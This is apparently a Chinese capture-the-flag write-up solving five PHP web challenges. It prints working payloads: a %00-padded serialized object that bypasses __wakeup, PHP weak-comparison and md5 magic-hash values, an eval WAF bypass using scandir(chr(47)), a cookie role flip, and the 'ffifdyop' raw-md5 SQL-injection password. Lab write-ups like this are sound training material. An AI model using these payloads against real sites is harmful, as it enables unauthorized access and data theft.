目录
- [极客大挑战 2019]PHP
- [ACTF2020 新生赛]BackupFile
- [RoarCTF 2019]Easy Calc
- [极客大挑战 2019]BuyFlag
- [BJDCTF2020]Easy MD5
[极客大挑战 2019]PHP
由内容提示应该存在源码备份,常见的如下,一个个尝试
后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp
访问www.zip,下载下来
解压查看
index.php
flag.php
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
写一个脚本构造
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$A=new Name();
echo serialize($A);
?>
结果如下
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
- 这里需要绕过**__wakeup**函数,而__wakeup函数存在一个特性,当成员属性数目大于实际数目时才可绕过wakeup
- 由于序列化的存在空字符,故需要**%00来代替,即空字符的url编码**
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
拿到flag
[ACTF2020 新生赛]BackupFile
题目提示备份文件
后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp
除了以上这些,还有**.bak/.swp/.old**,都可以试试
这里使用dirsearch扫出来index.php.bak文件,下载下来
使用记事本打开
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { //检查是否为数字
exit("Just num!");
}
$key = intval($key); //将变量转换为整数,eg:intval("cat12")=0 intval("3.14")=3
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) { //注意这里的==符号
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
由于**==的特性,php是一种弱语言,所以在比较的时候,会自动将字符串转换为数字比较,即123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3=123**,这里可以查看intval函数的转换机制
?key=123
?key=123e4 //123*e的4次方,但是经过转换是123
得到flag
[RoarCTF 2019]Easy Calc
打开环境,输入1+1试试
查看源码,发现calc.php,并且注释提示有waf
访问看看,代码如下
<?php
error_reporting(0);
if(!isset($_GET['num'])){ //isset:检测变量是否存在
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; //黑名单
foreach ($blacklist as $blackitem) { //blackitem在blacklist中遍历,每次调用的值进入if语句比对
if (preg_match('/' . $blackitem . '/m', $str)) { //检测$str是否包含黑名单里的字符串
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
当我们输入被过滤的字符时,返回结果不是**“what are you want to do?”,而是如下结果,应该被waf绕过**了
测试发现可以解析数字,如果带有字符则会被过滤,尝试绕过waf并查看根目录,在num参数前添加空格绕过是为了将**? num解析成?num**即正常,绕过字符串无法解析
- var_dump():打印字符串
- scandir():查看指定目录并返回该目录中的文件和子目录的名称
url? num=var_dump(scandir(chr(47))) //chr(47)= / 是ascii码
url?+num=var_dump(scandir(chr(47)))
url?/**/num=var_dump(scandir(chr(47)))
查找到f1agg
此时我们需要构造 /f1agg
chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
file_get_contents():读取文件的内容并将其作为字符串返回
得到flag
[极客大挑战 2019]BuyFlag
打开环境,查看源码
访问该链接
看看源码,得到下面这个信息
~~~post money and password~~~ //利用post方式传入money和password
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) { //password必须是纯数字
echo "password can't be number</br>";
}elseif ($password == 404) { //password为404,因为是==号,所以可用404ad绕过,会解析为404
echo "Password Right!</br>";
}
}
抓包看看
注意cookie这个地方,查看gpt
结合回显,需要我们是学生身份,将user=0改为user=1
此时回显,数字太长了,用科学计数法表示,在php中,1e9实际等于1*10的9次方
[BJDCTF2020]Easy MD5
打开环境,一个输入框,看看源码和网络信息,有个提示:
select * from 'admin' where password=md5($pass,true) //$pass经过md5加密后,如果可用转换回二进制则转换,否则转换回16进制
随意输入看看,有一个传参点password
这里介绍一个万能密码-ffifdyop,经过md5加密后的值再解密为16进制是**'or’6É]™é!r,ùíb**,可用进行sql注入
成功进入
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){ //因为是弱比较,故需要a!=b但是md5值相同的
// wow, glzjin wants a girl friend.
}
利用a=240610708&b=QNKCDZO绕过
看看源码:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ //强比较
echo $flag;
}
利用数组绕过